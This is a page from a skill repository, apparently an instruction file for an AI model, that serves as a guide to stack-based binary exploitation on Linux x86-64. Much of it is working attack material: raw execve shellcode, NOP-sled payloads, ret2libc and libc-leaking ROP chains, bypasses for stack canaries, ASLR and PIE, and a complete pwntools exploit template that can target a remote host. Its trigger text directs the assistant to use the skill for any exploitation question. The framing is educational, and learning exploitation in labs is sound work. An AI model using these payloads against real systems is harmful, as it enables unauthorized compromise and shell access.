stack-smashing

star 1

Expert guide for classic and modern stack-based binary exploitation on Linux x86-64. Use this skill whenever the user wants to: write or debug a buffer overflow exploit, craft shellcode, build a NOP sled, control RIP/EIP, bypass stack protections (NX, ASLR, SSP/stack canaries, PIE, RELRO), perform ret2libc or ROP chain attacks, analyze a vulnerable C program, or understand memory layout (stack, heap, text, BSS). Also trigger for questions like "how do I overflow a buffer", "how do I bypass ASLR", "explain NX bit", "how do I write a ROP chain", "smash the stack", "get a shell from a vuln binary", or any task involving GDB exploit development, pwntools, pwndbg, or similar workflows. Even for broad questions like "how does stack exploitation work" — use this skill.

daedalus By daedalus schedule Updated 4/5/2026

name: stack-smashing description: > Expert guide for classic and modern stack-based binary exploitation on Linux x86-64. Use this skill whenever the user wants to: write or debug a buffer overflow exploit, craft shellcode, build a NOP sled, control RIP/EIP, bypass stack protections (NX, ASLR, SSP/stack canaries, PIE, RELRO), perform ret2libc or ROP chain attacks, analyze a vulnerable C program, or understand memory layout (stack, heap, text, BSS). Also trigger for questions like "how do I overflow a buffer", "how do I bypass ASLR", "explain NX bit", "how do I write a ROP chain", "smash the stack", "get a shell from a vuln binary", or any task involving GDB exploit development, pwntools, pwndbg, or similar workflows. Even for broad questions like "how does stack exploitation work" — use this skill.

Stack Smashing — Binary Exploitation on Linux x86-64

A practical skill for developing, explaining, and debugging stack-based exploits. Covers the classic technique through modern mitigations and their bypasses.


Mental Model: Memory Layout

High addresses
┌─────────────────────────────┐
│  Stack  (grows downward ↓)  │  local vars, saved RBP, saved RIP, args
├─────────────────────────────┤
│         ...                 │
├─────────────────────────────┤
│  Heap   (grows upward ↑)    │  malloc/calloc/new
├─────────────────────────────┤
│  BSS    (uninit globals)    │
├─────────────────────────────┤
│  Data   (init globals)      │
├─────────────────────────────┤
│  Text   (executable code)   │
└─────────────────────────────┘
Low addresses

A stack frame for foo(a, b) calling bar() looks like:

│  arg2              │ ← pushed by caller (or in register: RDX)
│  arg1              │ ← pushed by caller (or in register: RSI, RDI)
│  saved RIP         │ ← return address pushed by CALL
│  saved RBP         │ ← push %rbp  (frame pointer)
│  local buffer[N]   │ ← rsp points here

The overflow primitive: an unbounded copy (strcpy, gets, read without length check) into a stack buffer can overwrite saved RBP → saved RIP → caller's frame. Controlling saved RIP = controlling execution.


Exploitation Stages

Stage 1 — Find the offset to RIP

Compile the target (debug, no mitigations first):

gcc -g -O0 -fno-pie -no-pie -fno-stack-protector -z execstack vuln.c -o vuln

Use a cyclic pattern to find the exact offset:

# pwntools
from pwn import *
io = process('./vuln')
io.sendline(cyclic(600))
io.wait()
core = io.corefile
offset = cyclic_find(core.read(core.rsp, 4))   # x86-64: check rsp or look at rip
print(f"Offset to RIP: {offset}")

Or manually in GDB:

$ gdb vuln
(gdb) run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*524)')
(gdb) info reg rip rsp rbp

Increase by 8 until you see 0x4141414141414141 in RIP.

Stage 2 — Classic Shellcode + NOP Sled (no mitigations)

The NOP sled gives landing tolerance. RIP should point somewhere into the sled.

payload = b"\x90" * sled_size + shellcode + retaddr * repeats
total   = offset_to_rip + 8 bytes (overwrite saved RIP)

x86-64 execve("/bin/sh") shellcode (22 bytes):

shellcode = (
    b"\x48\x31\xf6"         # xor    rsi, rsi
    b"\x56"                 # push   rsi
    b"\x48\xbf/bin//sh"    # movabs rdi, 0x68732f2f6e69622f
    b"\x57"                 # push   rdi
    b"\x54"                 # push   rsp
    b"\x5f"                 # pop    rdi
    b"\xb0\x3b"             # mov    al,  0x3b  (execve syscall)
    b"\x99"                 # cltd   (zero rdx)
    b"\x0f\x05"             # syscall
)

Alignment note: on x86-64 the return address must be 8-byte aligned. If the sled lands but syscall crashes, try offset ± 1..7.

Stage 3 — Finding the return address

Inside GDB the stack is at a fixed address (ASLR disabled there by default). Outside GDB it shifts slightly due to environment variables.

(gdb) x/20x $rsp          # view stack, find NOP sled
(gdb) info proc mappings   # confirm stack range

Pick a target address in the middle of the visible NOP region. Encode as little-endian:

ret = p64(0x7fffffffdead)   # pwntools
# or manually:
ret = b"\xad\xde\xff\xff\xff\x7f\x00\x00"

Mitigations and Bypasses

NX / W^X (No Execute bit on stack)

What it does: marks stack pages non-executable; shellcode segfaults.

Detect:

checksec --file=vuln
# NX: enabled

Bypass — ret2libc:

# Find system() and "/bin/sh" in libc
system   = elf.libc.symbols['system']
bin_sh   = next(libc.search(b'/bin/sh'))
pop_rdi  = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]   # stack alignment

payload = flat(
    b'A' * offset,
    ret_gadget,   # align RSP to 16 bytes (required for system())
    pop_rdi,
    bin_sh,
    system,
)

Bypass — ROP chain: see ROP section below.


Stack Canary / SSP

What it does: places a random 8-byte value between locals and saved RIP; checked before returning; mismatch → __stack_chk_fail → abort.

Detect:

checksec --file=vuln
# Stack: Canary found

Bypasses:

  • Leak the canary via a format string bug or out-of-bounds read, then include it in the overflow.
  • Overwrite __stack_chk_fail GOT entry (requires no RELRO).
  • Heap overflow or off-by-one that doesn't touch the canary.

Canary layout (x86-64):

│ buffer[N]    │
│ canary       │  ← rbp - 8; always ends in \x00 (null byte)
│ saved RBP    │
│ saved RIP    │

Leaking + reusing:

# If printf/puts leaks stack memory:
canary = u64(leaked_bytes[offset:offset+8])
payload = flat(b'A'*buf_size, canary, b'B'*8, ret_addr)

ASLR

What it does: randomizes base addresses of stack, heap, and libraries each run.

Detect:

cat /proc/sys/kernel/randomize_va_space   # 2 = full ASLR

Disable for testing only:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Bypasses:

  • Leak a pointer (format string, UAF, partial overwrite) to de-randomize a region.
  • Brute force (only practical on 32-bit; 32-bit stack has ~16 bits of entropy).
  • ret2plt / ret2libc with leak: call puts(puts@got) to leak libc base, then compute system.
  • Partial overwrite: overwrite only the lower 12 bits of a saved pointer (fixed page offset).

PIE (Position Independent Executable)

What it does: randomizes the executable's own load address (text, GOT, PLT).

Bypass: same as ASLR — leak any code pointer (e.g., saved RIP on stack) to compute the base:

exe_base = leaked_rip - elf.symbols['main']   # or any known offset

RELRO (Relocation Read-Only)

Level Effect
Partial GOT writable after startup
Full GOT mapped read-only; can't overwrite function pointers there

Full RELRO forces ROP / other code-reuse techniques instead of GOT overwrite.


ROP (Return-Oriented Programming)

When NX is on and you can't inject shellcode, chain existing code "gadgets" ending in ret.

ROPgadget --binary vuln --rop      # find gadgets
ropper --file vuln                 # alternative

Typical x86-64 calling convention (first 6 args: RDI, RSI, RDX, RCX, R8, R9):

from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
rop  = ROP(elf)

# Step 1: leak libc via puts(puts@got)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload1 = flat(
    b'A' * offset,
    pop_rdi, elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main'],    # return to main for stage 2
)

# Step 2: compute libc base, build system("/bin/sh")
leaked = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']

pop_rdi  = libc.address + next(libc.search(asm('pop rdi; ret')))
ret      = libc.address + next(libc.search(asm('ret')))
system   = libc.symbols['system']
bin_sh   = next(libc.search(b'/bin/sh\x00'))

payload2 = flat(b'A'*offset, ret, pop_rdi, bin_sh, system)

Stack alignment: system() uses SSE instructions; RSP must be 16-byte aligned at call. Insert a bare ret gadget before the call if you get a SIGSEGV inside libc.


GDB / pwndbg Cheatsheet

# Attach and examine
gdb -q ./vuln
gef / pwndbg / peda     # enhanced frontends (install one)

run $(python3 -c 'print("A"*600)')
info reg                 # all registers
x/20gx $rsp             # 20 qwords from stack pointer
x/10i $rip              # disassemble at rip
backtrace               # call stack
info proc mappings      # memory map (find stack, libc base)

# Breakpoints
b *0x401234             # break at address
b main
watch *0x7fffffffdead   # watchpoint

# checksec equivalent inside GDB (pwndbg)
checksec

Toolchain Reference

Tool Purpose
gcc -z execstack -fno-stack-protector -fno-pie -no-pie Disable protections for learning
checksec --file=X Audit binary mitigations
pwntools Python exploit framework (sockets, ELF, ROP, packing)
pwndbg / gef / peda GDB enhancement plugins
ROPgadget / ropper Find ROP gadgets
nasm Assemble custom shellcode
objdump -d Disassemble; extract shellcode bytes
ltrace / strace Trace library / syscall activity
one_gadget Find magic one-shot execve gadgets in libc

Extract shellcode bytes from compiled object:

nasm -f elf64 -o sc.o shellcode.asm
ld -o sc sc.o
objdump -d sc | grep '^ ' | cut -f2 | tr -d ' \n' | sed 's/../\\x&/g'

Common Pitfalls

Symptom Likely Cause
Segfault even with correct RIP NX enabled; shellcode can't execute
Works in GDB, fails outside ASLR active outside GDB; addresses differ
system() crashes with SIGSEGV RSP not 16-byte aligned; add ret gadget
Canary mismatch / abort SSP active; canary must be preserved or leaked
Offset is wrong by 1–7 bytes Alignment issue; try ± small adjustments
Null byte in address truncates payload Use strcpy alternative or find null-free address

Environment Setup

# Dependencies
sudo apt-get install gcc gdb nasm binutils python3-pip patchelf

# Python exploit toolkit
pip3 install pwntools

# GDB plugin (pwndbg recommended)
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

# checksec
pip3 install checksec.py
# or: apt install checksec

# ROPgadget
pip3 install ropgadget

Quick Exploit Template (pwntools)

#!/usr/bin/env python3
from pwn import *

# Configuration
context.arch    = 'amd64'
context.os      = 'linux'
context.log_level = 'info'

elf  = ELF('./vuln', checksec=False)
libc = ELF('./libc.so.6', checksec=False)   # provide matching libc

LOCAL = True
if LOCAL:
    io = process('./vuln')
else:
    io = remote('host', 1337)

# ----- Stage 1: overflow -----
offset = 264   # offset to saved RIP; find with cyclic()

shellcode = asm(shellcraft.sh())   # or hardcoded bytes
nop_sled  = b"\x90" * (offset - len(shellcode))
ret_addr  = p64(0x7fffffffdead)    # replace with leaked / known address

payload = nop_sled + shellcode + ret_addr
io.sendline(payload)
io.interactive()

References

Install via CLI
npx skills add https://github.com/daedalus/skills --skill stack-smashing
Repository Details
star Stars 1
call_split Forks 0
navigation Branch main
article Path SKILL.md
More from Creator